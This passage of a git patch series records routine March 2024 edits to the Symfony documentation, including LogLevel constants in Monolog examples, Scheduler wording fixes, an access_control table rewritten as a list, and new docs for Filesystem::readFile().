+to learn more about this feature.
 
 Disk space
 ----------
diff --git a/components/string.rst b/string.rst
similarity index 98%
rename from components/string.rst
rename to string.rst
index 56af5719170..62336e461cf 100644
--- a/components/string.rst
+++ b/string.rst
@@ -1,11 +1,11 @@
-The String Component
-====================
+Creating and Manipulating Strings
+=================================
 
-    The String component provides a single object-oriented API to work with
-    three "unit systems" of strings: bytes, code points and grapheme clusters.
+Symfony provides an object-oriented API to work with Unicode strings (as bytes,
+code points and grapheme clusters). This API is available via the String component,
+which you must first install in your application:
 
-Installation
-------------
+.. _installation:
 
 .. code-block:: terminal
 
@@ -524,6 +524,8 @@ which you must first install in your application:
 
     $ composer require symfony/emoji
 
+.. include:: /components/require_autoload.rst.inc
+
 The data needed to store the transliteration of all emojis (~5,000) into all
 languages take a considerable disk space.
 

From 776f1d4de788196a5758ffe2fd67ce7642560dc7 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 13 Mar 2024 14:04:47 +0100
Subject: [PATCH 4559/5766] [Logger] Using LogLevel `const`s

Page: https://symfony.com/doc/5.x/logging.html

If you agree, I'll replace the remaining occurrences.
---
 logging.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/logging.rst b/logging.rst
index c546701f78d..8b26cda9796 100644
--- a/logging.rst
+++ b/logging.rst
@@ -154,6 +154,7 @@ to write logs using the :phpfunction:`syslog` function:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
+        use Psr\Log\LogLevel;
         use Symfony\Config\MonologConfig;
 
         return static function (MonologConfig $monolog) {
@@ -163,12 +164,12 @@ to write logs using the :phpfunction:`syslog` function:
                 // log to var/logs/(environment).log
                 ->path('%kernel.logs_dir%/%kernel.environment%.log')
                 // log *all* messages (debug is lowest level)
-                ->level('debug');
+                ->level(LogLevel::DEBUG);
 
             $monolog->handler('syslog_handler')
                 ->type('syslog')
                 // log error-level messages and higher
-                ->level('error');
+                ->level(LogLevel::ERROR);
         };
 
 This defines a *stack* of handlers and each handler is called in the order that it's

From cf292480cb1776f0ad88351dc3aed12bfc8ebb59 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 14 Mar 2024 16:19:36 +0100
Subject: [PATCH 4560/5766] Minor tweaks

---
 components/messenger.rst | 6 +++---
 scheduler.rst            | 6 +++---
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index e5981bbd67c..8ec25d2c75f 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -163,9 +163,9 @@ Here are some important envelope stamps that are shipped with the Symfony Messen
 * :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp`,
   an internal stamp when a message fails due to an exception in the handler.
 * :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp`,
-  a stamp that marks the message as produced by a scheduler. You can learn
-  more about it in the :doc:`Scheduler component page </scheduler>`. This helps
-  differentiate from messages created "manually".
+  a stamp that marks the message as produced by a scheduler. This helps
+  differentiate it from messages created "manually". You can learn more about it
+  in the :doc:`Scheduler documentation </scheduler>`.
 
 .. versionadded:: 6.4
 
diff --git a/scheduler.rst b/scheduler.rst
index ee79ea4fbe1..185fe7d182a 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -914,9 +914,9 @@ before being further redispatched to its corresponding handler::
         }
     }
 
-When using the ``RedispatchMessage``, a
-:class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp` will be attached
-to the message, helping you identify those messages when needed.
+When using the ``RedispatchMessage``, Symfony will attach a
+:class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp` to the message,
+helping you identify those messages when needed.
 
 .. versionadded:: 6.4
 

From 670b70ee456e7154d811d92bfabbd2fa7c2bbae0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 14 Mar 2024 16:21:05 +0100
Subject: [PATCH 4561/5766] Remove some versionadded directives

---
 components/messenger.rst | 5 -----
 scheduler.rst            | 5 -----
 2 files changed, 10 deletions(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index 8ec25d2c75f..a1c1e709e00 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -167,11 +167,6 @@ Here are some important envelope stamps that are shipped with the Symfony Messen
   differentiate it from messages created "manually". You can learn more about it
   in the :doc:`Scheduler documentation </scheduler>`.
 
-.. versionadded:: 6.4
-
-    The :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp` was
-    introduced in Symfony 6.4.
-
 .. note::
 
     The :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp` stamp
diff --git a/scheduler.rst b/scheduler.rst
index 7a21d06ea9b..16346b4f566 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -885,11 +885,6 @@ When using the ``RedispatchMessage``, Symfony will attach a
 :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp` to the message,
 helping you identify those messages when needed.
 
-.. versionadded:: 6.4
-
-    Automatically attaching a :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp`
-    to redispatched messages was introduced in Symfony 6.4.
-
 .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization
 .. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron
 .. _`crontab.guru website`: https://crontab.guru/

From 5cf0759d629afd9bd8976150ea6f2d36950cb1cf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 14 Mar 2024 16:41:51 +0100
Subject: [PATCH 4562/5766] Minor tweak

---
 scheduler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index d314b0c70c9..875f0059f6c 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -844,7 +844,7 @@ code::
 
     The :class:`Symfony\\Component\\Scheduler\\Scheduler` may be used
     when using the Scheduler component as a standalone component. If
-    you are using it in the Framework context, it is highly recommended to
+    you are using it in the framework context, it is highly recommended to
     use the ``messenger:consume`` command as explained in the previous
     section.
 

From 7789dfb43a0583c3db11f926ca87ecb8f7b54066 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 14 Mar 2024 16:46:02 +0100
Subject: [PATCH 4563/5766] [Scheduler] Readd a reference to not break existing
 links

---
 scheduler.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/scheduler.rst b/scheduler.rst
index 875f0059f6c..39644ff9c8e 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -782,6 +782,8 @@ and their priorities:
     The ``PreRunEvent``, ``PostRunEvent`` and ``FailureEvent`` events were
     introduced in Symfony 6.4.
 
+.. _consuming-messages-running-the-worker:
+
 Consuming Messages
 ------------------
 

From 6141e0211e764dd1f1b6ea3026d6908a7a54e2aa Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 14 Mar 2024 16:59:04 +0100
Subject: [PATCH 4564/5766] [Logger] Using LogLevel `const`s, Part 2

Page: https://symfony.com/doc/5.x/logging.html

Remaining occurrences, as ancounced in https://github.com/symfony/symfony-docs/pull/19670
---
 logging.rst | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/logging.rst b/logging.rst
index 8b26cda9796..978bd57da28 100644
--- a/logging.rst
+++ b/logging.rst
@@ -163,7 +163,7 @@ to write logs using the :phpfunction:`syslog` function:
                 ->type('stream')
                 // log to var/logs/(environment).log
                 ->path('%kernel.logs_dir%/%kernel.environment%.log')
-                // log *all* messages (debug is lowest level)
+                // log *all* messages (LogLevel::DEBUG is lowest level)
                 ->level(LogLevel::DEBUG);
 
             $monolog->handler('syslog_handler')
@@ -254,13 +254,14 @@ one of the messages reaches an ``action_level``. Take this example:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
+        use Psr\Log\LogLevel;
         use Symfony\Config\MonologConfig;
 
         return static function (MonologConfig $monolog) {
             $monolog->handler('filter_for_errors')
                 ->type('fingers_crossed')
                 // if *one* log is error or higher, pass *all* to file_log
-                ->actionLevel('error')
+                ->actionLevel(LogLevel::ERROR)
                 ->handler('file_log')
             ;
 
@@ -268,17 +269,17 @@ one of the messages reaches an ``action_level``. Take this example:
             $monolog->handler('file_log')
                 ->type('stream')
                 ->path('%kernel.logs_dir%/%kernel.environment%.log')
-                ->level('debug')
+                ->level(LogLevel::DEBUG)
             ;
 
             // still passed *all* logs, and still only logs error or higher
             $monolog->handler('syslog_handler')
                 ->type('syslog')
-                ->level('error')
+                ->level(LogLevel::ERROR)
             ;
         };
 
-Now, if even one log entry has an ``error`` level or higher, then *all* log entries
+Now, if even one log entry has an ``LogLevel::ERROR`` level or higher, then *all* log entries
 for that request are saved to a file via the ``file_log`` handler. That means that
 your log file will contain *all* the details about the problematic request - making
 debugging much easier!
@@ -349,13 +350,14 @@ option of your handler to ``rotating_file``:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
+        use Psr\Log\LogLevel;
         use Symfony\Config\MonologConfig;
 
         return static function (MonologConfig $monolog) {
             $monolog->handler('main')
                 ->type('rotating_file')
                 ->path('%kernel.logs_dir%/%kernel.environment%.log')
-                ->level('debug')
+                ->level(LogLevel::DEBUG)
                 // max number of log files to keep
                 // defaults to zero, which means infinite files
                 ->maxFiles(10);

From c9654fb02023468042783c041fcefbaea2645e50 Mon Sep 17 00:00:00 2001
From: Ozan Akman <info@ozanakman.com.tr>
Date: Tue, 6 Feb 2024 14:26:44 +0100
Subject: [PATCH 4565/5766] [DependencyInjection] Add readonly statement to the
 Lazy Services docs

---
 service_container/lazy_services.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 86cfc33749b..fb5af58d509 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -23,7 +23,7 @@ until you interact with the proxy in some way.
 
 .. caution::
 
-    Lazy services do not support `final`_ classes, but you can use
+    Lazy services do not support `final`_ or `readonly` classes, but you can use
     `Interface Proxifying`_ to work around this limitation.
 
     In PHP versions prior to 8.0 lazy services do not support parameters with

From 1c029ca350e22c991af52203978954e30e224ccd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 15 Mar 2024 08:29:38 +0100
Subject: [PATCH 4566/5766] Minor syntax fix

---
 service_container/lazy_services.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index fb5af58d509..38d2f2186f0 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -23,7 +23,7 @@ until you interact with the proxy in some way.
 
 .. caution::
 
-    Lazy services do not support `final`_ or `readonly` classes, but you can use
+    Lazy services do not support `final`_ or ``readonly`` classes, but you can use
     `Interface Proxifying`_ to work around this limitation.
 
     In PHP versions prior to 8.0 lazy services do not support parameters with

From e94de7a5672dc87baa021cacdd3d05abb6d5e5b5 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 12 Mar 2024 10:04:12 +0100
Subject: [PATCH 4567/5766] [Workflow] Attach workflow configuration to tags

---
 service_container/tags.rst |  2 ++
 workflow.rst               | 13 +++++++++++++
 2 files changed, 15 insertions(+)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index ca36bde74e1..1900ce28fb2 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -458,6 +458,8 @@ or from your kernel::
     :ref:`components documentation <components-di-compiler-pass>` for more
     information.
 
+.. _tags_additional-attributes:
+
 Adding Additional Attributes on Tags
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/workflow.rst b/workflow.rst
index 7e45c7693c1..4e85c10087d 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -366,6 +366,17 @@ name.
     * ``workflow.workflow``: all workflows;
     * ``workflow.state_machine``: all state machines.
 
+    Note that workflow metadata are attached to tags under the
+    ``metatdata`` key, giving you more context and information about the workflow
+    at disposal. You can learn more about
+    :ref:`tag attributes <tags_additional-attributes>` and
+    :ref:`storing workflow metadata <workflow_storing-metadata>`
+    in their dedicated sections.
+
+    .. versionadded:: 7.1
+
+        The attached configuration to the tag was introduced in Symfony 7.1.
+
 .. tip::
 
     You can find the list of available workflow services with the
@@ -1032,6 +1043,8 @@ The following example shows these functions in action:
         <span class="error">{{ blocker.message }}</span>
     {% endfor %}
 
+.. _workflow_storing-metadata:
+
 Storing Metadata
 ----------------
 

From 9b4ab999554fcb595da44b2a470e9d37af80517a Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 15 Mar 2024 19:12:36 +0100
Subject: [PATCH 4568/5766] Use Doctor RST 1.57.1

---
 .doctor-rst.yaml          | 2 ++
 .github/workflows/ci.yaml | 2 +-
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 9e351a9a0e1..6e7b6e044cb 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -14,6 +14,8 @@ rules:
     ensure_bash_prompt_before_composer_command: ~
     ensure_exactly_one_space_before_directive_type: ~
     ensure_exactly_one_space_between_link_definition_and_link: ~
+    ensure_github_directive_start_with_prefix:
+        prefix: 'Symfony'
     ensure_link_bottom: ~
     ensure_link_definition_contains_valid_url: ~
     ensure_order_of_code_blocks_in_configuration_block: ~
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index af2ea3a28a7..e93f8295b65 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.54.0
+                uses: docker://oskarstark/doctor-rst:1.57.1
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 12559a1793fb6c9122febd14693c737a8808ef5d Mon Sep 17 00:00:00 2001
From: Michael Hirschler <michael@hirschler.me>
Date: Fri, 15 Mar 2024 21:03:47 +0100
Subject: [PATCH 4569/5766] fixes async cache computation example and FQCN

---
 cache.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/cache.rst b/cache.rst
index 43d417c1738..5dd560a94cc 100644
--- a/cache.rst
+++ b/cache.rst
@@ -907,7 +907,7 @@ In the following example, the value is requested from a controller::
         public function index(CacheInterface $asyncCache): Response
         {
             // pass to the cache the service method that refreshes the item
-            $cachedValue = $cache->get('my_value', [CacheComputation::class, 'compute'])
+            $cachedValue = $asyncCache->get('my_value', [CacheComputation::class, 'compute'])
 
             // ...
         }
@@ -925,13 +925,13 @@ a message bus to compute values in a worker:
             cache:
                 pools:
                     async.cache:
-                        early_expiration_message_bus: async_bus
+                        early_expiration_message_bus: messenger.default_bus
 
             messenger:
                 transports:
                     async_bus: '%env(MESSENGER_TRANSPORT_DSN)%'
                 routing:
-                    Symfony\Component\Cache\Messenger\Message\EarlyExpirationMessage: async_bus
+                    'Symfony\Component\Cache\Messenger\EarlyExpirationMessage': async_bus
 
     .. code-block:: xml
 
@@ -947,12 +947,12 @@ a message bus to compute values in a worker:
         >
             <framework:config>
                 <framework:cache>
-                    <framework:pool name="async.cache" early-expiration-message-bus="async_bus"/>
+                    <framework:pool name="async.cache" early-expiration-message-bus="messenger.default_bus"/>
                 </framework:cache>
 
                 <framework:messenger>
                     <framework:transport name="async_bus">%env(MESSENGER_TRANSPORT_DSN)%</framework:transport>
-                    <framework:routing message-class="Symfony\Component\Cache\Messenger\Message\EarlyExpirationMessage">
+                    <framework:routing message-class="Symfony\Component\Cache\Messenger\EarlyExpirationMessage">
                         <framework:sender service="async_bus"/>
                     </framework:routing>
                 </framework:messenger>
@@ -969,7 +969,7 @@ a message bus to compute values in a worker:
         return static function (FrameworkConfig $framework): void {
             $framework->cache()
                 ->pool('async.cache')
-                    ->earlyExpirationMessageBus('async_bus');
+                    ->earlyExpirationMessageBus('messenger.default_bus');
 
             $framework->messenger()
                 ->transport('async_bus')

From 76241bda97b74d551f2e7fe9a704fc1db0b9c4cf Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 18 Mar 2024 09:22:32 +0100
Subject: [PATCH 4570/5766] Remove the report section

---
 contributing/code_of_conduct/care_team.rst | 9 ---------
 1 file changed, 9 deletions(-)

diff --git a/contributing/code_of_conduct/care_team.rst b/contributing/code_of_conduct/care_team.rst
index 316131e5e8f..e061c0a0afe 100644
--- a/contributing/code_of_conduct/care_team.rst
+++ b/contributing/code_of_conduct/care_team.rst
@@ -58,12 +58,3 @@ The :doc:`Symfony project leader </contributing/code/core_team>` appoints the CA
 team with candidates they see fit. The CARE team will consist of at least
 3 people. The team should be representing as many demographics as possible,
 ideally from different employers.
-
-CARE Team Transparency Reports
-------------------------------
-
-The CARE team publishes a transparency report at the end of each year:
-
-* `Symfony Code of Conduct Transparency Report 2018`_.
-
-.. _`Symfony Code of Conduct Transparency Report 2018`: https://symfony.com/blog/symfony-code-of-conduct-transparency-report-2018

From 7c2f917ae242abcd4c2bf27b47fac16443e15c4f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 15 Mar 2024 11:24:20 +0100
Subject: [PATCH 4571/5766] [Security] Replace a complex table by a list

---
 security/access_control.rst | 70 +++++++++++++++++++++++--------------
 1 file changed, 43 insertions(+), 27 deletions(-)

diff --git a/security/access_control.rst b/security/access_control.rst
index b8a5f557286..c467a294f00 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -137,33 +137,49 @@ For each incoming request, Symfony will decide which ``access_control``
 to use based on the URI, the client's IP address, the incoming host name,
 and the request method. Remember, the first rule that matches is used, and
 if ``ip``, ``port``, ``host`` or ``method`` are not specified for an entry, that
-``access_control`` will match any ``ip``, ``port``, ``host`` or ``method``:
-
-+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| URI             | IP          | PORT        | HOST        | METHOD     | ``access_control``             | Why?                                                        |
-+=================+=============+=============+=============+============+================================+=============================================================+
-| ``/admin/user`` | 127.0.0.1   | 80          | example.com | GET        | rule #2 (``ROLE_USER_IP``)     | The URI matches ``path`` and the IP matches ``ip``.         |
-+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 127.0.0.1   | 80          | symfony.com | GET        | rule #2 (``ROLE_USER_IP``)     | The ``path`` and ``ip`` still match. This would also match  |
-|                 |             |             |             |            |                                | the ``ROLE_USER_HOST`` entry, but *only* the **first**      |
-|                 |             |             |             |            |                                | ``access_control`` match is used.                           |
-+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 127.0.0.1   | 8080        | symfony.com | GET        | rule #1 (``ROLE_USER_PORT``)   | The ``path``, ``ip`` and ``port`` match.                    |
-+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 168.0.0.1   | 80          | symfony.com | GET        | rule #3 (``ROLE_USER_HOST``)   | The ``ip`` doesn't match neither the first rule nor the     |
-|                 |             |             |             |            |                                | second rule. So the third rule (which matches) is used.     |
-+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 168.0.0.1   | 80          | symfony.com | POST       | rule #3 (``ROLE_USER_HOST``)   | The third rule still matches. This would also match the     |
-|                 |             |             |             |            |                                | fourth rule (``ROLE_USER_METHOD``), but only the **first**  |
-|                 |             |             |             |            |                                | matched ``access_control`` is used.                         |
-+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 168.0.0.1   | 80          | example.com | POST       | rule #4 (``ROLE_USER_METHOD``) | The ``ip`` and ``host`` don't match the first three         |
-|                 |             |             |             |            |                                | entries, but the fourth - ``ROLE_USER_METHOD`` - matches    |
-|                 |             |             |             |            |                                | and is used.                                                |
-+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/foo``        | 127.0.0.1   | 80          | symfony.com | POST       | matches no entries             | This doesn't match any ``access_control`` rules, since its  |
-|                 |             |             |             |            |                                | URI doesn't match any of the ``path`` values.               |
-+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
+``access_control`` will match any ``ip``, ``port``, ``host`` or ``method``.
+See the following examples:
+
+Example #1:
+  * **URI** ``/admin/user``
+  * **IP**: ``127.0.0.1``, **Port**: ``80``, **Host**: ``example.com``, **Method**: ``GET``
+  * **Rule applied**: rule #2 (``ROLE_USER_IP``)
+  * **Why?** The URI matches ``path`` and the IP matches ``ip``.
+Example #2:
+  * **URI** ``/admin/user``
+  * **IP**: ``127.0.0.1``, **Port**: ``80``, **Host**: ``symfony.com``, **Method**: ``GET``
+  * **Rule applied**: rule #2 (``ROLE_USER_IP``)
+  * **Why?** The ``path`` and ``ip`` still match. This would also match the
+    ``ROLE_USER_HOST`` entry, but *only* the **first** ``access_control`` match is used.
+Example #3:
+  * **URI** ``/admin/user``
+  * **IP**: ``127.0.0.1``, **Port**: ``8080``, **Host**: ``symfony.com``, **Method**: ``GET``
+  * **Rule applied**: rule #1 (``ROLE_USER_PORT``)
+  * **Why?** The ``path``, ``ip`` and ``port`` match.
+Example #4:
+  * **URI** ``/admin/user``
+  * **IP**: ``168.0.0.1``, **Port**: ``80``, **Host**: ``symfony.com``, **Method**: ``GET``
+  * **Rule applied**: rule #3 (``ROLE_USER_HOST``)
+  * **Why?** The ``ip`` doesn't match neither the first rule nor the second rule.
+  * So the third rule (which matches) is used.
+Example #5:
+  * **URI** ``/admin/user``
+  * **IP**: ``168.0.0.1``, **Port**: ``80``, **Host**: ``symfony.com``, **Method**: ``POST``
+  * **Rule applied**: rule #3 (``ROLE_USER_HOST``)
+  * **Why?** The third rule still matches. This would also match the fourth rule
+  * (``ROLE_USER_METHOD``), but only the **first** matched ``access_control`` is used.
+Example #6:
+  * **URI** ``/admin/user``
+  * **IP**: ``168.0.0.1``, **Port**: ``80``, **Host**: ``example.com``, **Method**: ``POST``
+  * **Rule applied**: rule #4 (``ROLE_USER_METHOD``)
+  * **Why?** The ``ip`` and ``host`` don't match the first three entries, but
+  * the fourth - ``ROLE_USER_METHOD`` - matches and is used.
+Example #7:
+  * **URI** ``/foo``
+  * **IP**: ``127.0.0.1``, **Port**: ``80``, **Host**: ``symfony.com``, **Method**: ``POST``
+  * **Rule applied**: matches no entries
+  * **Why?** This doesn't match any ``access_control`` rules, since its URI
+  * doesn't match any of the ``path`` values.
 
 .. caution::
 

From 438031cfd908517c3ced245ff6a0e76ecc963bcc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Mar 2024 11:00:42 +0100
Subject: [PATCH 4572/5766] Tweaks

---
 workflow.rst | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 4e85c10087d..65c4f827a0f 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -366,12 +366,10 @@ name.
     * ``workflow.workflow``: all workflows;
     * ``workflow.state_machine``: all state machines.
 
-    Note that workflow metadata are attached to tags under the
-    ``metatdata`` key, giving you more context and information about the workflow
-    at disposal. You can learn more about
-    :ref:`tag attributes <tags_additional-attributes>` and
-    :ref:`storing workflow metadata <workflow_storing-metadata>`
-    in their dedicated sections.
+    Note that workflow metadata are attached to tags under the ``metadata`` key,
+    giving you more context and information about the workflow at disposal.
+    Learn more about :ref:`tag attributes <tags_additional-attributes>` and
+    :ref:`storing workflow metadata <workflow_storing-metadata>`.
 
     .. versionadded:: 7.1
 

From 742b2cceaeac7d7ef8ae47a21f9c6f597237a1cf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Mar 2024 17:30:13 +0100
Subject: [PATCH 4573/5766] [Filesystem] Document the readFile() method

---
 components/filesystem.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index 8cdc2a34884..dabf3f81872 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -313,6 +313,22 @@ contents at the end of some file::
 If either the file or its containing directory doesn't exist, this method
 creates them before appending the contents.
 
+``readFile``
+~~~~~~~~~~~~
+
+.. versionadded:: 7.1
+
+    The ``readFile()`` method was introduced in Symfony 7.1.
+
+:method:`Symfony\\Component\\Filesystem\\Filesystem::readFile` returns all the
+contents of a file as a string. Unlike the :phpfunction:`file_get_contents` function
+from PHP, it throws an exception when the given file path is not readable and
+when passing the path to a directory instead of a file::
+
+    $contents = $filesystem->readFile('/some/path/to/file.txt');
+
+The ``$contents`` variable now stores all the contents of the ``file.txt`` file.
+
 Path Manipulation Utilities
 ---------------------------
 

From df4dafc7ad4e64118004713c92b07d73dc40b95a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Mar 2024 12:21:46 +0100
Subject: [PATCH 4574/5766] Minor tweaks

---
 frontend/encore/server-data.rst | 18 ++++++++++++------
 1 file changed, 12 insertions(+), 6 deletions(-)

diff --git a/frontend/encore/server-data.rst b/frontend/encore/server-data.rst
index 3feff856c52..479c4ec21c2 100644
--- a/frontend/encore/server-data.rst
+++ b/frontend/encore/server-data.rst
@@ -21,15 +21,21 @@ Fetch this in JavaScript:
 
     document.addEventListener('DOMContentLoaded', function() {
         const userRating = document.querySelector('.js-user-rating');
-        const isAuthenticated = userRating.dataset.isAuthenticated;
-        const user = JSON.parse(userRating.dataset.user);
+        const isAuthenticated = userRating.getAttribute('data-is-authenticated');
+        const user = JSON.parse(userRating.getAttribute('data-user'));
     });
 
 .. note::
 
-    When `accessing data attributes from JavaScript`_, the attribute names are
-    converted from dash-style to camelCase. For example, ``data-number-of-reviews`` becomes
-    ``dataset.numberOfReviews``.
+    If you prefer to `access data attributes via JavaScript's dataset property`_,
+    the attribute names are converted from dash-style to camelCase. For example,
+    ``data-number-of-reviews`` becomes ``dataset.numberOfReviews``:
+
+    .. code-block:: javascript
+
+        // ...
+        const isAuthenticated = userRating.dataset.isAuthenticated;
+        const user = JSON.parse(userRating.dataset.user);
 
 There is no size limit for the value of the ``data-*`` attributes, so you can
 store any content. In Twig, use the ``html_attr`` escaping strategy to avoid messing
@@ -42,4 +48,4 @@ method that returns an array, you could do the following:
         <!-- ... -->
     </div>
 
-.. _`accessing data attributes from JavaScript`: https://developer.mozilla.org/en-US/docs/Learn/HTML/Howto/Use_data_attributes
+.. _`access data attributes via JavaScript's dataset property`: https://developer.mozilla.org/en-US/docs/Learn/HTML/Howto/Use_data_attributes

From ea926df585dbde3849e94b758d024deddf15c1c2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Mar 2024 12:32:22 +0100
Subject: [PATCH 4575/5766] [Frontend] Move some page from Encore to Frontend

---
 _build/redirection_map                | 1 +
 frontend.rst                          | 1 +
 frontend/encore/index.rst             | 1 -
 frontend/{encore => }/server-data.rst | 0
 4 files changed, 2 insertions(+), 1 deletion(-)
 rename frontend/{encore => }/server-data.rst (100%)

diff --git a/_build/redirection_map b/_build/redirection_map
index 90303a53d75..3ad55f95c73 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -565,3 +565,4 @@
 /messenger/handler_results /messenger#messenger-getting-handler-results
 /messenger/dispatch_after_current_bus /messenger#messenger-transactional-messages
 /messenger/multiple_buses /messenger#messenger-multiple-buses
+/frontend/encore/server-data /frontend/server-data
diff --git a/frontend.rst b/frontend.rst
index afc5edff8e3..519fe69e350 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -100,6 +100,7 @@ Other Front-End Articles
 
 * :doc:`/frontend/create_ux_bundle`
 * :doc:`/frontend/custom_version_strategy`
+* :doc:`/frontend/server-data`
 
 .. _`Webpack Encore`: https://www.npmjs.com/package/@symfony/webpack-encore
 .. _`Webpack`: https://webpack.js.org/
diff --git a/frontend/encore/index.rst b/frontend/encore/index.rst
index 8e1ecb9973d..80f08deffb6 100644
--- a/frontend/encore/index.rst
+++ b/frontend/encore/index.rst
@@ -35,7 +35,6 @@ Guides
 
 * :doc:`Using Bootstrap CSS & JS </frontend/encore/bootstrap>`
 * :doc:`jQuery and Legacy Applications </frontend/encore/legacy-applications>`
-* :doc:`Passing Information from Twig to JavaScript </frontend/encore/server-data>`
 * :doc:`webpack-dev-server and Hot Module Replacement (HMR) </frontend/encore/dev-server>`
 * :doc:`Adding custom loaders & plugins </frontend/encore/custom-loaders-plugins>`
 * :doc:`Advanced Webpack Configuration </frontend/encore/advanced-config>`
diff --git a/frontend/encore/server-data.rst b/frontend/server-data.rst
similarity index 100%
rename from frontend/encore/server-data.rst
rename to frontend/server-data.rst

From c62331d4d204df5f24b209087c2a6e9f466fe195 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 20 Mar 2024 08:22:45 +0100
Subject: [PATCH 4576/5766] Improve the formatting of the lists of special
 characters

---
 components/cache/cache_items.rst |  5 ++---
 doctrine.rst                     |  2 +-
 mailer.rst                       |  2 +-
 notifier.rst                     |  6 +++---
 reference/formats/yaml.rst       | 20 +++++++++-----------
